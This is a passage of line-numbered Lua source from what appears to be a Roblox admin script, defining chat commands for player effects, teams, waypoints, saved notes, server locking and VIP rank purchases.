7648 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7649 GUI:CommandBar(Speaker)
7650 PermCommandBars[Speaker.Name] = true
7651 end};
7652
7653 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7654 PermCommandBars[Speaker.Name] = nil
7655 end};
7656
7657 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7658 local Players = STRING:Scan(Arguments[1], Speaker)
7659 for _,Player in pairs(Players) do
7660 PermCommandBars[Player.Name] = nil
7661 end
7662 end};
7663
7664 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7665 CORE:CreateFigure("Dummy", nil, true, Speaker)
7666 end};
7667
7668 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7669 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7670 end};
7671
7672 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7673 local Players = STRING:Scan(Arguments[1], Speaker)
7674 for _,Player in pairs(Players) do
7675 CORE:ClonePlayer(Player)
7676 end
7677 end};
7678
7679 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7680 local Players = STRING:Scan(Arguments[1], Speaker)
7681 for _,Player in pairs(Players) do
7682 CORE:ClonePlayer(Player, Arguments[2])
7683 end
7684 end};
7685
7686 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7687 for _,Obj in pairs(Objects) do
7688 if Obj then Obj:Destroy() end
7689 end
7690 for Name,Jail in pairs(Jails) do
7691 if not game.Players:FindFirstChild(Name) then
7692 Jail:Destroy()
7693 Jails[Name] = nil
7694 end
7695 end
7696 Objects = {}
7697 end};
7698
7699 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7700 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7701 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7702 Obj:Destroy()
7703 end
7704 end
7705 end};
7706
7707 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7708 local Players = STRING:Scan(Arguments[1], Speaker)
7709 for _,Player in pairs(Players) do
7710 if Player.Character and Player.Character:FindFirstChild("Torso") then
7711 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7712 end
7713 end
7714 end};
7715
7716 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7717 local Players = STRING:Scan(Arguments[1], Speaker)
7718 for _,Player in pairs(Players) do
7719 if Player.Character and Player.Character:FindFirstChild("Torso") then
7720 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7721 end
7722 end
7723 end};
7724
7725 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7726 local Players = STRING:Scan(Arguments[1], Speaker)
7727 for _,Player in pairs(Players) do
7728 if Player.Character and Player.Character:FindFirstChild("Torso") then
7729 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7730 end
7731 end
7732 end};
7733
7734 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7735 local Players = STRING:Scan(Arguments[1], Speaker)
7736 for _,Player in pairs(Players) do
7737 if Player.Character and Player.Character:FindFirstChild("Torso") then
7738 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7739 if Get:IsA("Sparkles") then
7740 Get:Destroy()
7741 end
7742 end
7743 end
7744 end
7745 end};
7746
7747 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7748 local Players = STRING:Scan(Arguments[1], Speaker)
7749 for _,Player in pairs(Players) do
7750 if Player.Character and Player.Character:FindFirstChild("Torso") then
7751 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7752 if Get:IsA("Fire") then
7753 Get:Destroy()
7754 end
7755 end
7756 end
7757 end
7758 end};
7759
7760 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7761 local Players = STRING:Scan(Arguments[1], Speaker)
7762 for _,Player in pairs(Players) do
7763 if Player.Character and Player.Character:FindFirstChild("Torso") then
7764 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7765 if Get:IsA("Smoke") then
7766 Get:Destroy()
7767 end
7768 end
7769 end
7770 end
7771 end};
7772
7773 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7774 local Players = STRING:Scan(Arguments[1], Speaker)
7775 for _,Player in pairs(Players) do
7776 if Player.Character and Player.Character:FindFirstChild("Torso") then
7777 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7778 local Boom = Instance.new("Explosion", Workspace)
7779 Boom.Position = Player.Character.Torso.Position
7780 end
7781 end
7782 end};
7783
7784 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7785 local Players = STRING:Scan(Arguments[1], Speaker)
7786 for _,Player in pairs(Players) do
7787 if Player.Character and Player.Character:FindFirstChild("Torso") then
7788 coroutine.wrap(function() for i = 1,50 do
7789 local Boom = Instance.new("Explosion", Workspace)
7790 Boom.Position = Player.Character.Torso.Position
7791 wait()
7792 end end)()
7793 coroutine.wrap(function() for i = 1,5 do
7794 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7795 end end)()
7796 end
7797 end
7798 end};
7799
7800 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7801 local Players = STRING:Scan(Arguments[1], Speaker)
7802 for _,Player in pairs(Players) do
7803 if Player.Character and Player.Character:FindFirstChild("Torso") then
7804 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7805 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7806 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7807 end
7808 end
7809 end};
7810
7811 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7812 local Players = STRING:Scan(Arguments[1], Speaker)
7813 for _,Player in pairs(Players) do
7814 if Player.Character and Player.Character:FindFirstChild("Torso") then
7815 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7816 end
7817 end
7818 end};
7819
7820 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7821 local Players = STRING:Scan(Arguments[1], Speaker)
7822 for _,Player in pairs(Players) do
7823 if Player.Character then
7824 Player.Character.Parent = Server.Lighting
7825 end
7826 end
7827 end};
7828
7829 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7830 local Players = STRING:Scan(Arguments[1], Speaker)
7831 for _,Player in pairs(Players) do
7832 if Player.Character then
7833 Player.Character.Parent = Server.Workspace
7834 Player.Character:MakeJoints()
7835 end
7836 end
7837 end};
7838
7839 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7840 local Players = STRING:Scan(Arguments[1], Speaker)
7841 for _,Player in pairs(Players) do
7842 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7843 Player.Character.Humanoid.PlatformStand = true
7844 end
7845 end
7846 end};
7847
7848 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7849 local Players = STRING:Scan(Arguments[1], Speaker)
7850 for _,Player in pairs(Players) do
7851 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7852 Player.Character.Humanoid.PlatformStand = false
7853 end
7854 end
7855 end};
7856
7857 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7858 local Players = STRING:Scan(Arguments[1], Speaker)
7859 for _,Player in pairs(Players) do
7860 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7861 Player.Character.Humanoid.Jump = true
7862 end
7863 end
7864 end};
7865
7866 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7867 local Players = STRING:Scan(Arguments[1], Speaker)
7868 for _,Player in pairs(Players) do
7869 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7870 Player.Character.Humanoid.Sit = true
7871 end
7872 end
7873 end};
7874
7875 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7876 local Players = STRING:Scan(Arguments[1], Speaker)
7877 for _,Player in pairs(Players) do
7878 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7879 Player.Character.Humanoid.Sit = false
7880 end
7881 end
7882 end};
7883
7884 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7885 local Players = STRING:Scan(Arguments[1], Speaker)
7886 for _,Player in pairs(Players) do
7887 if Player.Character and Player.Character:FindFirstChild("Torso") then
7888 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7889 end
7890 end
7891 end};
7892
7893 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7894 local Players = STRING:Scan(Arguments[1], Speaker)
7895 for _,Player in pairs(Players) do
7896 if Player.Character and Player.Character:FindFirstChild("Torso") then
7897 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7898 end
7899 end
7900 end};
7901
7902 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7903 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7904 end};
7905
7906 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7907 local Color = "Blue"
7908 local String = Arguments[2]
7909 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7910 if #ChatSplit >= 2 then
7911 if string.lower(ChatSplit[1]) == "green" then
7912 Color = "Green"
7913 String = ChatSplit[2]
7914 elseif string.lower(ChatSplit[1]) == "red" then
7915 Color = "Red"
7916 String = ChatSplit[2]
7917 end
7918 end
7919 local Players = STRING:Scan(Arguments[1], Speaker)
7920 for _,Player in pairs(Players) do
7921 if Player.Character and Player.Character:FindFirstChild("Head") then
7922 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7923 end
7924 end
7925 end};
7926
7927 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7928 local Players = STRING:Scan(Arguments[1], Speaker)
7929 for _,Player in pairs(Players) do
7930 if Player.Character then
7931 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7932 end
7933 end
7934 end};
7935
7936 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7937 local Players = STRING:Scan(Arguments[1], Speaker)
7938 local ID = nil
7939 if tonumber(Arguments[2]) ~= nil then
7940 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7941 else
7942 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7943 for _,Face in pairs(FaceTable) do
7944 if string.lower(Arguments[2]) == string.lower(Face) then
7945 ID = FaceID
7946 break
7947 end
7948 end
7949 end
7950 end
7951 if ID then
7952 for _,Player in pairs(Players) do
7953 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7954 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7955 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7956 end
7957 end
7958 end
7959 end};
7960
7961 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7962 local Players = STRING:Scan(Arguments[1], Speaker)
7963 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7964 for _,Player in pairs(Players) do
7965 if Player.Character and Player.Character:FindFirstChild("Head") then
7966 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7967 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7968 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7969 end
7970 end
7971 end};
7972
7973 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7974 local Players = STRING:Scan(Arguments[1], Speaker)
7975 for _,Player in pairs(Players) do
7976 if Player.Character and Player.Character:FindFirstChild("Head") then
7977 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7978 end
7979 end
7980 end};
7981
7982 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7983 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7984 end, Http = true};
7985
7986 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7987 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7988 end, Http = true};
7989
7990 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7991 local Players = STRING:Scan(Arguments[1], Speaker)
7992 for _,Player in pairs(Players) do
7993 local ExistingData = Player:LoadInstance("Data")
7994 if ExistingData == nil then
7995 ExistingData = Instance.new("Configuration")
7996 end
7997 ExistingData.Name = "Player Data"
7998 local Key = Instance.new("Configuration", ExistingData)
7999 Key.Name = Arguments[2]
8000 Player:SaveInstance("Data", ExistingData)
8001 end
8002 end};
8003
8004 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
8005 local Players = STRING:Scan(Arguments[1], Speaker)
8006 local Data = Arguments[2]
8007 for _,Player in pairs(Players) do
8008 local ExistingData = Player:LoadInstance("Data")
8009 if ExistingData ~= nil then
8010 if string.lower(Data) == "all" then
8011 ExistingData:ClearAllChildren()
8012 else
8013 for _,DataObj in pairs(ExistingData:GetChildren()) do
8014 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
8015 DataObj:Destroy()
8016 end
8017 end
8018 end
8019 end
8020 Player:SaveInstance("Data", ExistingData)
8021 end
8022 end};
8023
8024 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8025 local Players = STRING:Scan(Arguments[1], Speaker)
8026 local DataSet = {}
8027 for _,Player in pairs(Players) do
8028 local ExistingData = Player:LoadInstance("Data")
8029 if ExistingData ~= nil then
8030 if #ExistingData:GetChildren() ~= 0 then
8031 for _,Data in pairs(ExistingData:GetChildren()) do
8032 table.insert(DataSet, Player.Name..": "..Data.Name)
8033 end
8034 else
8035 table.insert(DataSet, "Data does not exist for "..Player.Name)
8036 end
8037 else
8038 table.insert(DataSet, "Data does not exist for "..Player.Name)
8039 end
8040 end
8041 GUI:ListGui(Speaker, "Notes", DataSet)
8042 end};
8043
8044 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
8045 local Players = STRING:Scan(Arguments[1], Speaker)
8046 for _,Player in pairs(Players) do
8047 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8048 Player.Character.Humanoid.WalkSpeed = 16
8049 end
8050 end
8051 end};
8052
8053 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
8054 local Players = STRING:Scan(Arguments[1], Speaker)
8055 for _,Player in pairs(Players) do
8056 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8057 Player.Character.Humanoid.WalkSpeed = -16
8058 end
8059 end
8060 end};
8061
8062 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
8063 local TeamColor = BrickColor.random()
8064 local TeamName = Arguments[1]
8065 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
8066 if #TeamNameSplit >= 2 then
8067 local Color = TeamNameSplit[1]
8068 local NewTeamName = TeamNameSplit[2]
8069 if Color == "Medium stone grey" then
8070 TeamColor = BrickColor.new(Color)
8071 TeamName = NewTeamName
8072 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
8073 TeamColor = BrickColor.new(Color)
8074 TeamName = NewTeamName
8075 elseif Colors[string.upper(Color)] then
8076 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
8077 TeamName = NewTeamName
8078 end
8079 end
8080
8081 local NewTeam = Instance.new("Team", Server.Teams)
8082 NewTeam.TeamColor = TeamColor
8083 NewTeam.Name = TeamName
8084 end};
8085
8086 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8087 local Players = STRING:Scan(Arguments[1], Speaker)
8088 for _,Player in pairs(Players) do
8089 Player.Neutral = true
8090 end
8091 end};
8092
8093 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8094 local Players = STRING:Scan(Arguments[1], Speaker)
8095 if string.lower(Arguments[2]) == "none" then
8096 for _,Player in pairs(Players) do
8097 Player.Neutral = true
8098 end
8099 else
8100 for _,Obj in pairs(Server.Teams:GetChildren()) do
8101 if Obj:IsA("Team") then
8102 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8103 for _,Player in pairs(Players) do
8104 Player.Neutral = false
8105 Player.TeamColor = Obj.TeamColor
8106 end
8107 end
8108 end
8109 end
8110 end
8111 end};
8112
8113 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8114 for _,Obj in pairs(Server.Teams:GetChildren()) do
8115 if Obj:IsA("Team") then
8116 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8117 for _,Player in pairs(Server.Players:GetPlayers()) do
8118 if Player.TeamColor == Obj.TeamColor then
8119 Player.Neutral = true
8120 end
8121 end
8122 Obj:Destroy()
8123 end
8124 end
8125 end
8126 end};
8127
8128 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8129 for _,Player in pairs(Server.Players:GetPlayers()) do
8130 Player.Neutral = true
8131 end
8132 for _,Obj in pairs(Server.Teams:GetChildren()) do
8133 if Obj:IsA("Team") then
8134 Obj:Destroy()
8135 end
8136 end
8137 end};
8138
8139 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8140 for _,Player in pairs(Server.Players:GetPlayers()) do
8141 GUI:Countdown(Player, Arguments[1])
8142 end
8143 end};
8144
8145 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8146 local Players = STRING:Scan(Arguments[1], Speaker)
8147 for _,Player in pairs(Players) do
8148 if Player:FindFirstChild("Backpack") then
8149 CORE:ExecuteResource("ShowAd", Player.Backpack)
8150 end
8151 end
8152 end};
8153
8154 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8155 local Players = STRING:Scan(Arguments[1], Speaker)
8156 for _,Player in pairs(Players) do
8157 if Player.Character then
8158 for PosName,WP in pairs(Waypoints) do
8159 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8160 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8161 break
8162 end
8163 end
8164 end
8165 end
8166 end};
8167
8168 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8169 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8170 end};
8171
8172 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8173 local Num = 0
8174 for PosName,WP in pairs(Waypoints) do
8175 Num = Num + 1
8176 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8177 Waypoints[PosName] = nil
8178 end
8179 end
8180 end};
8181
8182 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8183 local WaypointHolder,WaypointRaw = {},{}
8184 for Name, WP in pairs(Waypoints) do
8185 local View = Name..": "..tostring(WP)
8186 table.insert(WaypointHolder, View)
8187 WaypointRaw[View] = WP
8188 end
8189 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8190 Clicked.Event:connect(function(Text)
8191 local Waypoint = WaypointRaw[Text]
8192 if Waypoint then
8193 if Speaker.Character then
8194 Speaker.Character:MoveTo(Waypoint)
8195 end
8196 end
8197 end)
8198 end};
8199
8200 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8201 local Players = STRING:Scan(Arguments[1], Speaker)
8202 local List = {}
8203 for _,Player in pairs(Players) do
8204 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8205 end
8206 GUI:ListGui(Speaker, "Listed Players", List)
8207 end};
8208
8209 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8210 if tonumber(Arguments[1]) then
8211 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8212 else
8213 local Players = STRING:Scan(Arguments[1], Speaker)
8214 for _,Player in pairs(Players) do
8215 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8216 end
8217 end
8218 end};
8219
8220 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8221 local Players = STRING:Scan(Arguments[1], Speaker)
8222 local Friends,OneFriend = {}, false
8223 for _,Player in pairs(Players) do
8224 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8225 --[[if Player:IsBestFriendsWith(User.UserId) then
8226 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8227 OneFriend = true
8228 ]]
8229 if Player:IsFriendsWith(User.UserId) then
8230 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8231 OneFriend = true
8232 end
8233 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8234 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8235 end
8236 end end
8237 end
8238 GUI:ListGui(Speaker, "Friend List", Friends)
8239 end};
8240
8241 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8242 Settings.ServerLocked = true
8243 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8244 end};
8245
8246 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8247 Settings.ServerLocked = false
8248 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8249 end};
8250
8251 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8252 local OldAge = Settings.MinimumAge
8253 local Age = tostring(Arguments[1])
8254 if Age then
8255 Settings.MinimumAge = Age
8256 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8257 end
8258 end};
8259
8260 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8261 if Settings.VIPAdminID <= 1 then
8262 MARKET:PromptPurchase(Speaker, VIPAdminID)
8263 else
8264 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8265 end
8266 end};
8267
8268 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8269 if Settings.VIPMemberID <= 1 then
8270 MARKET:PromptPurchase(Speaker, VIPMemberID)
8271 else
8272 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8273 end
8274 end};
8275
8276 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8277 if tonumber(Arguments[2]) then
8278 local Players = STRING:Scan(Arguments[1], Speaker)
8279 local Size = tonumber(Arguments[2])+25
8280 for _,Player in pairs(Players) do
8281 if Player.Character then
8282 if Player.Character:FindFirstChild("Head") then
8283 if Player.Character.Head:FindFirstChild("Mesh") then
8284 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8285 end
8286 end
8287 end
8288 end
8289 end
8290 end};
8291
8292 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8293 local Players = STRING:Scan(Arguments[1], Speaker)
8294 for _,Player in pairs(Players) do
8295 if Player.Character and Player.Character:FindFirstChild("Torso") then
8296 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8297 Player.Character.Parent = nil
8298 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8299 end
8300 end
8301 end};
8302
8303 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8304 GUI:SettingsGui(Speaker)
8305 end};
8306
8307 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8308 if tonumber(Arguments[2]) then
8309 local Players = STRING:Scan(Arguments[1], Speaker)
8310 local List = {}
8311 for _,Player in pairs(Players) do
8312 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8313 table.insert(List, Player.Name)
8314 end
8315 end
